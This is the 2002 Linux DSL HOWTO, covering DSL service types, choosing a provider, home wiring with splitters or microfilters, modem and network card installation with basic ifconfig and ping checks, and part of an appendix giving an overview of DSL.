Greg LeBlanc

v1.5, 2002-01-07

Revision History
Revision v1.5 | 2002-01-07 | Revised by: hb
Various small additions and updates.
Revision v1.4 | 2001-12-05 | Revised by: hb
Minor Updates and catch-ups.
Revision v1.3 | 2001-06-25 | Revised by: hb
Updates to various sections.
Revision v1.2 | 2001-03-28 | Revised by: hb
Assorted changes and additions.
Revision v1.1 | 2000-11-14 | Revised by: hb
Many miscellaneous minor corrections and updates.
Revision v0.99 | 2000-09-05 | Revised by: hb
Various updates, additions and new sections.
Revision v0.92 | 1999-04-10 | Revised by: df
First release (ADSL mini HOWTO).

This document examines the DSL family of high speed Internet services now being deployed in various markets worldwide. Information is included on the technology behind DSL as well as subscribing, installing, configuring, and troubleshooting, with an emphasis on how this impacts Linux users.

Table of Contents
1. Introduction
1.1. Document Structure and Reading Guidelines
1.2. What's New
1.3. Copyright
1.4. Credits
1.5. Disclaimer
1.6. Feedback
1.7. Conventions, Usage and Terminology
2. Installation
2.1. Pre-Installation
2.2. Installation Options -- Self Install or Not
2.3. Wiring/Installation Options
2.4. Self Install - Wiring
2.5. Wire the Splitter
2.6. Wire the DSL Jack
2.7. Installing Microfilters
2.8. Installing an Ethernet Modem
2.9. Installing a USB Modem
3. Configuring Linux
3.1. Bridged vs PPPoX Networks
3.2. Configuring the WAN Interface
3.3. Connect
4. Securing Your Connection
4.1. Security Quick-start
5. Performance Tuning and Troubleshooting
5.1. Tuning
5.2. Installation Problems
5.3. Sync Problems
5.4. Network and Throughput Problems
5.5. Measuring Throughput
6. Appendix: DSL Overview
6.1. The DSL Family
6.2. The DSLAM
6.3. DSL Modems
6.4. The ISP Connection
6.5. Availability
6.6. Choosing Providers
7. Appendix: FAQ
8. Appendix: Miscellaneous
8.1. Links
8.2. Glossary
8.3. Other Consumer Class High Speed Services
8.4. Compatible Modems
8.5. Linux Friendly DSL ISPs
8.6. Setting up Linux as a Router
9. Appendix: The Alcatel SpeedTouch USB ADSL Modem
Next
Introduction


Installation

DSL HOWTO for Linux
Prev Next

2. Installation

Before actually ordering service, there are several things you may want to explore. Please note, that there are many ways any given telco might decide to handle qualification and installation procedures. Much of what is described in this section, is how it is commonly done in the U.S.

2.1. Pre-Installation

In many parts of the world, there is no choice on who you get DSL from: your friendly local telco, of course! They own the copper wires, and thus they hold all the cards.

However, in the U.S. de-regulation has opened this up somewhat. Beyond the obvious consideration of price, there are reasons to investigate which alternate providers may be offering DSL services in your area. The large Telephone companies are everywhere, and may advertise the most. But increasingly smaller ISPs and independents are getting into the act. This has created some diversity in the DSL marketplace. A good thing of course, but possibly creating a little confusion too. Conversely, in areas where there is only one choice, then we have no choice but to accept whatever service is being offered.

If your telco has a monopoly on phone service and DSL, you may skip the rest of this section. And probably the next few sections. They will probably control the installation and qualification processes, and you just wait for them to get finished.

Not all DSL services are alike. Just because two local companies are offering "ADSL", does not mean that necessarily there is much in common at all. In fact, there are potentially a number of factors that make one ADSL provider's service significantly different from another's. Some things to consider:

  • Speed vs Price.

  • What hardware is provided, i.e. modem or router. It is best if this is external ethernet in either case.

  • The ISP's Network architecture. PPPoX? Static IP? Servers allowed?

  • Is it an "always on" service, at least theoretically? Are there supplemental usage fees, or idle timeouts?

  • Linux friendly, Linux hostile, or Linux agnostic?

  • Quality of service. How is news, mail, etc.? News particularly seems to be inconsistent with low-end broadband providers.

For a more lengthy discussion on some of these considerations and related issues, see the DSL Overview appendix for more on modems, qualifying for service, and choosing a provider.

Once you have chosen a provider, and ordered service, the next step is for the telco to "qualify" your loop. This essentially means testing your line to make sure it can handle the DSL signal, and possibly what level of service may be available to you. This may take some time, especially if the telco encounters problems with the loop. If no problems are found during this phase, then possibly there will be a one to three week wait for the installation. YMMV.

After the telco has qualified the loop and readied their end of the connection, the next step is installation of the necessary components at the customer's end of the connection: wiring modifications, splitter or filters, and, of course the modem and any necessary software.

2.2. Installation Options -- Self Install or Not

You may or may not have a choice on how the installation is done, or who does it. This is totally at the discretion of the provider. In much of the world, this is done by the telco, and there is little flexibility. Many providers in the U.S. offer a "self install" option where you do all the work. In this scenario, the provider will send a kit in order to save them from sending a tech, and thus reducing cost. Typically, self install kits will include microfilters for the POTS (Plain Old Telephone Service) phone jacks, the modem (and maybe a NIC), and a CDROM with drivers, etc. on it. In some cases, a splitter may be included instead of microfilters. In any case, some type of filtering is necessary on the non-DSL lines. If not the noise generated by the DSL signal may interfere with POTS devices.

The other possibility is for the provider to do the installation. Again, this may be your only option. Obviously, the cost is higher here, but it may have the advantage of having a trained tech do any wiring. There is also a better chance of getting a "splittered" installation with this option (a good thing!). Another benefit is that if something is wrong with the line, or the telco has not provisioned the line properly, an on-site tech may be able to help sort out certain kinds of problems quickly.

The self-install kit should come with full instructions, regardless of whether the installation will be splittered or filtered. So we won't go into much detail on this aspect.

2.3. Wiring/Installation Options

There are various wiring schemes depending on how your service is being provided, who is providing it, and which DSL service is being provided. If your telco is performing the installation, you may skip this section.

  • Dedicated Line. Some DSLs require a dedicated, or "dry", wire pair, e.g. IDSL. This means a separate, physical line without dial-tone for DSL and Internet connectivity. Also, DSL services from CLECs (independent telcos like Covad), may use a dedicated line, depending on their line sharing agreement with the local incumbent carrier. (Instead the CLEC will actually lease a loop from the ILEC.) On your end, this simply means using one of the unused wire pairs in the telco wire bundle, and connecting it to the DSL jack.

  • Shared Line with Splitter. For DSLs like ADSL, that are provided over the same line as regular voice service (POTS), the signal must be filtered somehow so that voice services are not adversely effected. Installing a splitter splits the line into two pairs, and filters the DSL signal from one of them. This results in a inside wiring scheme where DSL goes to only one jack, and then POTS service to all other jacks. This is considered by many to be a better type of installation than "splitterless", i.e. with microfilters instead. See below.

    Splitters are available from various manufacturers and come in various shapes and sizes. Some are small enough to fit in the NID itself (sometimes called SNI, this is the telco phone box on the outside of your house), while others have a housing as large as the NID itself. Typically this is mounted near the NID, on the customer's side of the demarcation point.

  • Shared Line with Filters. Again, for some DSLs that piggyback on the POTS line, the signal must be filtered or split at some point. This is not necessary for g.lite or RADSL however. The other way of doing this is by placing RJ11 "microfilters" in each phone jack -- except where the DSL modem will be. These filters are relatively small, plug-in devices and remove the higher frequencies associated with DSL. This is obviously much easier since no tools or wiring is required. This is often what is included in self-install kits, and is often referred to as a "splitterless" installation. This is a very common approach in the U.S.

    Similar microfilters are sometimes used by some telcos to reduce the excessive "whine" on the line that is produced by some modems. This is a little different approach as the filter is put on the same jack as the modem.

  • Shared Line, Splitterless and Filterless. Some newer DSLs, like G.Lite, have no adverse effect on regular POTS devices and thus require no filters or splitters. This would seem to be the wave of the future. Just plug and play. Though still not very common.

Figure 1: DSL Block Diagram, POTS with Splitter (NID not shown)

       <--------Home/Office-----><---Loop---><--Central Office-->

 POTS  X-------+
 phone,        |
 fax,          |
 etc,          |
               |                                 CO
               |                               -------
               |                               |     |
               |                               |     |
               |            -----              |     |
 POTS  X-------+----Voice--=| S |              |  D  |
                            | P |              |  S  |=- Voice Switch
                            | L |    2 wire    |  L  |
                            | I |=------------=|  A  |
                            | T |  Local Loop  |  M  |=- ISP --> INET
           ---------        | T |              |     |
 Linux X--=| Modem |=-Data-=| E |              |     |
           ---------        | R |              |     |
                            -----              |     |
                                               -------

Figure 2: DSL Splitterless (a.k.a. filtered) Block Diagram

       <--------Home/Office-------><----Loop---><--Central Office-->

 POTS  X--Voice---[RJ11]------+
 phone,          (filter)     |
 fax,                         D                      CO
 etc,                         a                    -------
                              t                    |     |
                              a                    |     |
 POTS  X--Voice---[RJ11]----- &                    |  D  |
                 (filter)     V  -----             |  S  |=- Voice Switch
                              o  | N |   2 wire    |  L  |
                              i-=| I |=-----------=|  A  |
                              c  | D |  Local Loop |  M  |=- ISP --> INET
                              e  -----             |     |
           -----------        |                    |     |
 Linux X--=|  Modem  |=-------|                    |     |
           -----------                             -------

2.4. Self Install - Wiring

If you are not doing a self-install, then you may skip this section and move to Configuring Linux. If you are doing a self-install with microfilters, skip to the mircofilter section. The following procedures are meant to illustrate the wiring process. Please note that your procedures may be different at your location. Make sure you follow any warnings or safety instructions provided, that you RTFM, and that you are familiar with telco wiring procedures.

The first step will be to wire up the connections from your provider. Identify the line on which service will be installed, and the locations of your splitter and DSL jack(s). (For perhaps a better wiring scheme, see the Homerun section immediately below.)

Be aware that typical telco wire has more than one pair per bundle. Often, two pairs, but sometimes more. If you have but one phone line, the other pair(s) are unused. This makes them available for use with wiring for DSL. Wire pairs are color coded for easy identification. SDSL and IDSL require a dedicated, or "dry", pair. If an unused pair is available, then no real re-wiring is required. It is just a matter of re-wiring an existing jack for the correct pair of wires, and attaching the modem.

2.4.1. The Homerun

" I would not use microfilters if I lived across the street from my CO. A splitter is the only way to go. "

--A retired BellSouth ADSL installer

The optimum method of wiring for the DSL modem is sometimes called a "homerun". It is called this because it is one, straight shot from the splitter to the modem's DSL jack. What this does is bypass the existing inside wiring altogether, and any problems that might be lurking there -- like a corroded connection somewhere on a POTS jack. Inside wiring deficiencies can cause a degradation of the DSL signal.

This also allows you to route the cable to avoid any potential RFI (Radio Frequency Interference) sources. RFI anywhere in the circuit can be a DSL killer. Routing the cable away from items that may have electric motors, transformers, power supplies, high intensity lighting fixtures, dimmer switches and such, is a smart way to go. And you are also less likely to have a failing microfilter cause problems -- one potential point of failure instead of several. You can also use a better grade of cable such as CAT 5.

If your existing installation is "splitterless" (i.e. using microfilters) now, converting to a homerun will entail purchasing a splitter. And, of course, will also mean some new wiring will need to be run. Microfilters also add to the effective loop length -- as much as 700 ft per filter in some cases! So if you have several microfilters installed, and your sync rate or distance is marginal, eliminating these filters may result in a significant improvement.

A poor man's splitter can be rigged by using a microfilter inside the NID. This is not "by the book", but seems to work just fine for many.

2.5. Wire the Splitter

If you have the splitterless design (i.e. using "microfilters") or a dedicated line, you may skip this part.

The splitter will typically consist of two parts, the splitter and a small outdoor housing. Mount the splitter and accompanying housing per the telco's instructions at the Network Interface Device (NID) point (also sometimes called the SNI or ONI), usually the side of your house where the phone line is located. Put it on your side of the NID. The phone company may need to access the splitter for maintenance, so its advisable to locate it on the outside where they can get at it, but outside is not absolutely necessary.

The wire bundle should have at least two separate wire pairs. The splitter takes one pair, and separates the signal onto two pairs. One pair in the bundle will then go to all POTS jacks, and the other to the modem's DSL wall jack. So connect the incoming telco line to the LINE side of the splitter. Then wire the inside pair for your telephone to the VOICE, and your inside wire pair for the modem to DATA.

Checkstep At this point, you should be able to pull dial tone off the voice side of the splitter. If this doesn't work, then you've wired it wrong. You can also plug the modem into the test jack in the NID box (most should have this). Plug in the modem's power cord, and if the line is provisioned correctly, you should "sync" in less than a minute. This test only requires the modem. (Internal and USB modems will require a driver to be loaded before syncing. This would mean having the computer there too.)

2.6. Wire the DSL Jack

Wire the DSL wall jack (RJ11) at your computer location, which should already be connected to the DATA side of the splitter. The specifics differ for each situation, but basically you will have a wire pair that you will connect to the DSL jack. Make sure you read the directions, as the DSL-RJ11 wiring may be different for phones and DSL jacks. AND -- different modems may expect the signal on different pairs -- most on the inside pair, but some on the outside pair.

Figure 3: RJ11 Wiring options

    ||
    ||
    ||
   /  \
  |RJ11|
  |    |
   ----
   ||||

    ^^  <-- Inside     Most modems on inside pair
   ^  ^ <-- Outside    Some on outside, e.g. Alcatel 1000, SpeedTouch Home

2.7. Installing Microfilters

Pretty much a no-brainer here. If you are doing a "splitterless", self-install installation, then install the provided microfilters in all phone jacks except the one where the DSL modem will be connected. Don't forget devices like fax machines and analog modems. The filters filter out the higher DSL frequencies and will keep the DSL noise from interfering with POTS equipment.

Warning! If you have an alarm system, it is recommended not to use microfilters. Alarm systems can present various problems, depending on the type of alarm and how it is installed. The recommended installation in this case is with a splitter.

2.8. Installing an Ethernet Modem

To install, connect the modem's (or router's) power cord, and connect the phone line between the DSL wall jack and the modem. This cable should be provided. If not, a regular phone cord will suffice. With the ethernet interfaced modems, you may also connect the ethernet cable between the NIC and the modem (but not really necessary at this point just to verify an ethernet modem is working).

Checkstep At this point, verify that the modem syncs with the telco's DSLAM signal. Most modems have a green LED that lights up when the signal is good, and red or orange if not in sync. The modem's manual will have more details on the LEDs. If it doesn't sync, then check your wiring, or make sure that the DSL signal is being sent. Do this by calling your telco and verifying they have activated the service. Or by testing the modem at the test jack on the NID (see above). Note that having dial tone on the line does NOT confirm the presence of the DSL data signal. And vice versa -- perfectly possible to have dial tone and no DSL, or DSL and no dial tone. There should also be no static or noise on the voice line when everything is installed and functioning properly.

2.8.1. Installing the Ethernet Network Card (NIC)

Ethernet modems will, of course, require an ethernet network card. If you haven't already done so, install the NIC in your Linux machine, configure the kernel, or load modules, etc., etc. This is sometimes the biggest stumbling block -- getting the NIC recognized and working. See the various Linux references for doing this, such as the Ethernet HOWTO for more information. Also, see the Troubleshooting Section below. This is certainly something you could conceivably do ahead of time if you already have the NIC.

Be sure the RJ45 cable between the NIC and the modem is now connected. You can "hot plug" this cable, meaning there is no need to power down to do this.

We can do a few quick tests now to see if the NIC seems to be functioning properly. First we'll attempt to bring up the interface. Then we'll see how well it is responding by pinging it. And lastly use ifconfig to check for errors:

# ifconfig eth0 10.0.0.1 up

$ ping -c 50 10.0.0.1
PING 10.0.0.1 (10.0.0.1) from 10.0.0.1: 56(84) bytes of data.
64 bytes from 10.0.0.1: icmp_seq=0 ttl=255 time=0.2 ms
64 bytes from 10.0.0.1: icmp_seq=1 ttl=255 time=0.2 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=255 time=0.1 ms
<snip>

- 10.0.0.1 ping statistics -
50 packets transmitted, 50 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.2 ms

$ ifconfig eth0
eth0    Link encap:Ethernet  HWaddr 00:50:04:C2:09:AC
        inet addr:10.0.0.1  Bcast:10.255.255.255  Mask:255.0.0.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:428 errors:0 dropped:0 overruns:0 frame:0
        TX packets:421 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:100
        Interrupt:10 Base address:0xc800

If "eth0" comes up without errors, and you can ping it without errors, and ifconfig shows no errors, we most likely have all our hardware in working order now, and are ready to start configuring Linux. If not, see the Troubleshooting section below.

Gotcha: A few modems may already be wired as a 10baseT crossover, and require a direct Category 5 cable for a direct connection to a NIC, rather than a crossover cable. I lost around 12 hours figuring this one out, so don't make the same mistake - make sure you RTFM first.

2.9. Installing a USB Modem

The physical installation of a USB modem is similar to an ethernet modem. There is no ethernet card necessary obviously. So connect the phone line between the DSL wall jack and the modem's DSL port, and attach the USB cable to the computer's USB port.

USB modems will require vendor and model specific drivers in order to sync and function properly. Assuming you are using the Alcatel SpeedTouch USB, this will require both a binary firmware driver available from Alcatel's driver page: http://www.alcatel.com/consumer/dsl/supuser.htm#driver, and an additional modem driver. As well as a properly configured kernel.

This driver also supports both PPPoE and PPPoA, though the steps for getting either to work are quite different. See the Appendix for more on this modem.

Prev | Home | Next
Introduction |  | Configuring Linux


Introduction

DSL HOWTO for Linux
Prev Next

1. Introduction

DSL, or Digital Subscriber Loop, is a high-speed Internet access technology that uses a standard copper telephone line (a.k.a. "loop" in telco parlance). DSL provides a direct, dedicated connection to an ISP via the existing telco network. DSL is designed to run on up to 80% of the telephone lines available in the United States. By using line-adaptive modulation, DSL is capable of providing data speeds of 8 Mbps or more.

DSL services are now being aggressively marketed for home and small business use. DSL is typically priced below ISDN, and well below T1 service, yet can provide potentially even greater speeds than T1 without the cost, complexity, and availability issues of T1. Since DSL is a dedicated, often "always on" service, it avoids the delays and use charges that are common with ISDN. Making this quite a nice technology for the bandwidth starved masses.

While all this sounds exciting, DSL does have some drawbacks. The quality of the DSL signal, and thus the connection, depends on distance (the length of the copper "loop") and various other factors. Also, there is no such thing as standard "DSL". There are various flavors of DSL, and many, many ways DSL providers are implementing their networks. In typical fashion, Linux users are often left to fend for themselves, since the DSL providers are often taking the easy way out, and catering only to "mainstream" Operating Systems.

The topics included in this HOWTO include qualification and pre-installation, installation, configuration, troubleshooting and securing a DSL connection. As well as other related topics. There are also appendices including a comprehensive DSL Overview, Frequently Asked Questions, a listing of related links, and a glossary.

Due to the fast pace of change in the telco and DSL industries, please make sure you have the latest version of this document. The current official version can always be found at http://www.linuxdoc.org/HOWTO/DSL-HOWTO/. Pre-release versions can be found at http://feenix.burgiss.net/ldp/adsl/.

1.1. Document Structure and Reading Guidelines

This document attempts to give a comprehensive discussion of DSL. All aspects are hopefully addressed to one degree or another with what can be a complex topic since it deals with networking, hardware, new fangled technologies, and various approaches taken by various vendors. The core components of this document are:

  • The Installation section covers installation of DSL hardware and related components, including wiring considerations, splitter or microfilter installation, modem and Network card installation.

  • The Configuring Linux section covers mostly client and software aspects of getting the connection up and running. The Network card configuration is actually covered mostly in the above Installation section.

  • The Securing Your Connection section covers Security implications that are even more important with a full-time connection. Linux users seem especially targeted by crackers, because quite frankly, some don't understand how important security is, or don't understand the finer points of this. And who wants to "own" a Windows box?

  • The Tuning and Troubleshooting section covers post-installation topics like how well is our connection performing, and how to track down any show-stoppers or intermittent problems.

  • There is also a lengthy Appendix that covers various topics relating to Linux and DSL. None of these are directly related to simply getting that connection up and running, but may be of interest nonetheless.

To simplify the navigation of this document, below is a suggested reading guideline. Everyone should read the Introduction. Please pay special attention to the Conventions and Terminology section, as some of this terminology may be used somewhat differently in other contexts. Also, there is a Glossary if you get lost in the world of TA (telco acronyms) ;-).

  • If you don't know anything about DSL, you should probably read the entire document. You may want to start with the DSL Overview section in the Appendix, and then the FAQ. The DSL Overview explains how the various pieces of the puzzle fit together. DSL network implementations are more complex than traditional dialup networks.

  • If you have already done some homework, but have not ordered service from anyone yet, read the Choosing Providers section, and the Linux Friendly ISPs sections. Also, you might get a head start by reading the Configuring Linux section so you know what lies ahead.

  • If you have ordered service already, and are awaiting delivery, you can skip the sections on choosing a Provider. If you will be doing a self-install, you should read the pertinent parts of the Installation section, the Configuring Linux section, and the Securing Your Connection section.

  • If the installation is complete, and you can't get a working connection, skip right to the Troubleshooting Section. If you are not clear on what protocols are required, or what software you need to have installed, also read the Configuring Linux section. If not sure what terms like "sync" mean in this context, then be sure to read the DSL Overview section first so you know how it all fits together.

  • If trying to decide between cable and DSL, read the Cable vs DSL section, and possibly the DSL Overview section.

  • If you have never had a full-time Internet connection, or are not absolutely sure you fully understand how to secure you connection, be sure to read The Securing Your Connection section. If you don't understand some aspect of this, re-read it, or start looking for other references.

  • There is a comprehensive Links section that has references to some topics not touched on in the main body of the Document itself.

1.2. What's New

1.5: New Tuning sub-section using iproute. Hot stuff! Other additions to the Tuning section. A few new ISPs. Alcatel SpeedTouch USB section updates. Thanks to Alex Bennee for clarifying things. Other minor updates to FAQ, Glossary and Tuning.

1.4: A few new and updated URLs, and catch ups. The Alcatel USB modem section is revamped. A few new ISPs.

Version 1.3: Updates to the SpeedTouch USB HOWTO in the appendix. Minor update to PPPoE section, and two new Linux Friendly ISPs. A feeble attempt to make the document a little less U.S.-centric. Various minor updates.

Version 1.2 adds PPTP configuration section for Alcatel ethernet modems. Also, added are two additional sections in the "Tuning" section for the TCP Receive window, and ADSL/DMT interleaving. And the big news is the release of open source drivers for the Alcatel USB modem as of March 2001. There is an Alcatel SpeedTouch USB mini HOWTO in the appendix by Chris Jones. A number of miscellaneous updates as well.

Version 1.1 included quite a few minor corrections, updates, and additions. Not much that is substantially new. There are finally two Linux compatible DSL PCI modems from Xpeed. The drivers are now in the kernel 2.2.18 source.

Version .99 addresses some of the many changes that have occurred since the original ADSL mini HOWTO was published. Originally, ADSL was the primary DSL technology being deployed, but more and more some of the other DSL flavors are entering the picture -- IDSL, SDSL, G.Lite, and RADSL. Thus the renaming from "ADSL mini HOWTO" to the "DSL HOWTO". There have been many other changes in DSL technology as well. PPPoE/A encapsulation has become more and more common as many ISPs are jumping on this bandwagon.

1.3. Copyright

DSL HOWTO for Linux (formerly the ADSL mini HOWTO)

Copyright © 1998,1999 David Fannin.

This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You can get a copy of the GNU GPL at at GNU GPL.

1.4. Credits

Thanks to all those that contributed information to this HOWTO. I have anti-spammed their email addresses for their safety (and mine!). Remove the X's from their names.

  • B Ediger (Xbediger@csn.net) Great Description of loop impairment.

  • C Wiesner ( Xcraig@wkmn.com) List of many ADSL URLs.

  • J Leeuw ( Xjacco2@dds.nl) Many tips on ADSL, especially in Europe

  • N Silberstein ( Xnick@tpdinc.com) Info on Netrunner and his experience with US Worst.

  • Many and various posters from comp.dcom.xdsl and bellsouth.net.support.adsl, too numerous to mention individually. (HB)

  • Juha Saarinen for suggestions and explanations on the TCP Receive Window, and related tuning topics.

  • Chris Jones <chris@black-sun.co.uk> for his Alcatel SpeedTouch USB mini HOWTO which was previously incorporated into the Appendix. Also, Alex Bennee for clarifying the driver situation for this modem.

1.5. Disclaimer

The authors accept no liability for the contents of this document. Use the concepts, examples and other content at your own risk. As this is a new edition, there may be errors and inaccuracies. Hopefully these are few and far between. The author(s) do not accept any responsibility for incorrect or misleading information, and would certainly appreciate any corrections. Also, this type of technology dates itself very quickly. What may be true today, is not guaranteed to be true tomorrow.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

References to any particular product, brand, service or company should not be construed as an endorsement or recommendation. Excepting Linux itself, of course!

1.6. Feedback

Any and all comments on this document are most welcomed. Please make sure you have the most current version before submitting corrections! These can be sent to <hal@foobox.net>

1.7. Conventions, Usage and Terminology

For the sake of simplicity and sanity, let's clarify some of the terminology that we will be using in this document, so that we are all on the same page. While many of the definitions below are not always 100% technically correct, they are close enough for our purposes here. In fast moving technologies like DSL, there are so many "ifs, ands, and buts" that it is difficult to say anything with any degree of certainty and have it stick. And there are exceptions to almost every rule. And sometimes exceptions to the exceptions. We will be dealing with generalities to a large degree here, please keep that in mind.

  • "DSL" will be used to refer to the entire family of DSL technologies now available -- ADSL, SDSL, IDSL, RADSL, etc. ADSL still seems to be the most prevalent at this time, but the others are being deployed as well. Where it is important to differentiate one type of DSL from another, the full proper name will be used: e.g. RADSL. xDSL is also commonly used to refer to the various DSL technologies as a group, but we will be using just "DSL" here.

  • The term "telco" here refers to any potential DSL provider. This includes the ILECs (Incumbent Local Exchange Carriers), a.k.a. the old guard phone companies or state run phone companies, and where the monopolies now have competition, the CLECs (Competitive Local Exchange Carriers), or independent providers such as Covad in the U.S.

  • "CO" is the telco acronym for "Central Office". Traditionally this is a building where one end of your phone line physically terminates. The other end terminates at your home, office, or wherever. It will be used here to refer to the telco end termination point, regardless of whether it is a traditional Central Office building or another, smaller, remote structure or device.

  • "Loop" is telco speak for "phone line". Essentially, you should think of your loop as one dedicated pair of copper wires that run uninterrupted from your residence or office directly to the CO. This is perhaps an oversimplification, but will serve our purposes. DSL availability, and signal quality, is tied directly to the characteristics of your physical line -- or "loop" as they say.

  • "POTS" is the acronym for Plain Old Telephone Service. In other words, traditional, non-digital devices like phones, faxes and answering machines.

  • "NID", or Network Interface Device, is the small telco housing that is often typically attached to the outside wall of your house, and is the service entrance for telco services, though may be placed elsewhere depending on the phone company. This may variously also be referred to as "ONI", "SNI", "NIU", "TNI" or other creative telco acronyms. It represents the "demarcation" point that divides the customer's realm of responsibility from the telco's. Commercial structures, and multi-family housing will likely have something more sophisticated, and probably located inside somewhere.

  • "DSLAM" is the sophisticated hardware device in the telco's CO where your phone line physically terminates, and thus makes DSL happen. Increasingly, telcos are making use of smaller devices like the "mini-RAM" in remote locations. We'll use "DSLAM" here as a catch-all for any device that enables DSL service from a telco. These are now being manufactured by a number of companies.

  • "Modem" will be used to refer to the end user device that enables a DSL connection. Your "modem" is connected to the telco's DSLAM in the CO via your copper loop. When they are "talking" DSL to each other, they are in "sync". Without "sync", no connection to your ISP is possible.

    "Modem" is indeed the correct terminology since there is MOdulation and DEModulation of the signal, even though it doesn't resemble an analog 56K modem like many of us have had before. These modems incorporate other features too -- so they are more than just a "modem". Some ISPs and manufacturers may be marketing simply "routers", "bridges", or even "brouters" for this purpose. These are essentially DSL modems with enhancements. A compatible "modem" of some kind is the minimum hardware requirement at the customer's end of the connection. The most commonly supplied modem is actually a combination bridge and modem.

    Unless stated otherwise, we will also be assuming the "modem" has an ethernet interface, and will connect to a standard ethernet Network Card (NIC). This is far and away the most prevalent configuration, at least until more Linux drivers are available for PCI and USB modems.

    It is worth noting that "routers" as supplied by DSL providers are typically modem/router combination devices. In our context, "router" will refer to these devices as such. There are also SOHO broadband routers available that are only dedicated routers and lack the modem functionality.

  • Previous versions of this document referred to the modem as an "ANT" (ADSL Network Termination). While this may be technically correct terminology, it is not used by ISPs, manufacturers, telcos, or most users to any extent. The "modem" will be just called a modem, regardless of whatever other features it may incorporate (i.e. router, bridge, etc.).

  • PPPoX will be used to refer to PPPoE (PPP over Ethernet) and PPPoA (PPPoATM, or PPP over ATM) collectively. These protocols are being used by many DSL providers now.

  • The information provided in this document is based mostly on the current state of DSL in the U.S. I will assume there are enough similarities with DSL services outside of the US that this document would still have some merit for everyone. Correct me if I am wrong by emailing <hal@foobox.net>.

  • A "#" will be used to denote a command that typically is run by the root user. Otherwise, a "$" will be used as the prompt for non-root users.

Prev | Home | Next
DSL HOWTO for Linux |  | Installation


Appendix: DSL Overview

DSL HOWTO for Linux
Prev Next

6. Appendix: DSL Overview

DSL is a telephone loop technology that uses existing copper phones lines, and provides a dedicated, high speed Internet connection. One of the big advantages of some DSLs (notably ADSL), are that they can co-exist on the same line with a traditional voice service or "POTS" (Plain Old Telephone Service). This is accomplished by utilizing different frequency ranges above the voice range (voice is up to 4KHz). Essentially, this gives two lines in one: one for POTS, and one for Internet connectivity. When all is working normally, there should be no interference between the two "lines". This gives DSL a potentially broad consumer base, and helps minimize costs for service providers.

DSL is positioned for the Home and Small Office (SOHO) market that is looking for high speed Internet access at reasonable prices. Since it also typically provides dedicated, "always on" access, it can be used for interconnecting low to mid range bandwidth servers, and provides a great access solution for small LANs. It is also great for those Linux power users that just want a fat pipe :-).

Phone companies, and other independent telecommunications providers (CLECs), are now deploying DSL to stay ahead of the Cable companies -- the main consumer and SOHO competition for DSL providers. This mad rush to get "a piece of the pie", is bringing much competition (a good thing!), much diversity, and some confusion, into the consumer market. The DSL provider (often, but not always, the phone company) will provide the DSL infrastructure. This would include your line, the DSLAM, and physical connection to the outside world. From there it is typically picked up by an ISP, who provides the traditional Internet services.

Consumer DSL plans are typically "best effort" services. While boasting speeds approaching T1, and even surpassing that in some cases, it is not necessarily as reliable as T1 however. Business class DSL offers more reliability at a higher cost than consumer plans, and is a good compromise where both reliability and bandwidth are at a premium. All in all, the cost of DSL compared to traditional telco services, such as T1, is attractive and substantially more affordable for home and small business users.

DSL providers often do not have service contracts for home users, while business class DSL services typically do include similar SLAs (Service Level Agreements) to that offered for a T1 line.

The downside is that DSL is not available everywhere. Availability, and available bit rate (speed), are purely a function of where you live, where the telco has installed the prerequisite hardware, how far you are from the DSLAM/CO, and the quality of your phone line (loop). Not all loops are created equal, unfortunately. The primary limitation is distance.

6.1. The DSL Family

  • ADSL

    Asymmetric Digital Subscriber Loop currently supports downstream rates up to 8 Mbps, and upstream of 1024 Kbps, hence the "asymmetric". The most widely deployed form of DSL at this time, and was specifically developed for the home and SOHO markets. The higher downstream rates lends itself to those not running serious servers -- at least anything more than a small, personal web site. ADSL is capable of sharing data with a POTS voice line, so an additional line is not required. A big selling point. ADSL, like other DSLs, is limited by distance. 18,000 ft (5.5 km) is a typical cut-off point for telcos. ADSL does typically require either a splitter or filters to isolate the DSL signal from POTS. Sometimes referred to as "full rate" ADSL in order to differentiate it from G.Lite DSL. There are two common line encodings for ADSL: DMT and CAP. DMT (a.k.a. Alcatel compatible) has won the standards battle and is now the standard and the more common of the two. Also, note that modems must be compatible with the encoding. In other words, a CAP modem will not work with a DMT service, and vice versa.

  • G.Lite

    G.Lite is sometimes referred to as "DSL Lite", "Universal DSL" or "splitterless ADSL", is a slower version of ADSL that requires no splitters or filters. G.lite uses a "fast retrain" technique to negate the various signal disturbances caused by normal POTS usage. Currently G.Lite supports speeds up to 1.5 Mbps/512 Kbps, and at one time was expected to become the dominant consumer DSL service. As of this writing, it is not nearly as wide spread as "full rate" ADSL however.

  • SDSL

    Single-pair Digital Subscriber Loop, or also sometimes referred to as "Symmetric Digital Subscriber Loop" since it is indeed symmetric with a current maximum rate of 1.5 Mbps/1.5 Mbps. SDSL requires a dedicated line, and thus true SDSL is not as readily adaptable to the consumer market as ADSL. SDSL also uses a 2B1Q encoding (same as ISDN and some T1) which is considered more robust than the DMT or CAP encoding of ADSL. True SDSL is generally considered more of a server quality DSL. It is worth noting that some providers may be marketing a "SDSL" service that is really ADSL pinched so that upstream/downstream are the same. Or vice versa, SDSL with asymmetrically allocated bandwidth. Wasn't all this confusing enough already?

  • IDSL

    ISDN Digital Subscriber Loop, 144 Kbps/144 Kbps is really a new and improved ISDN from Lucent Technologies and uses the same 2B1Q line encoding as ISDN, SDSL and others. IDSL does require a dedicated line however. The benefits are that it is an "always on" technology, like other DSLs, and provides an additional 16 Kbps over traditional ISDN. It is being marketed by some DSL providers as a low end bit rate option, where line quality is not sufficient for higher speeds such as that of ADSL.

  • RADSL

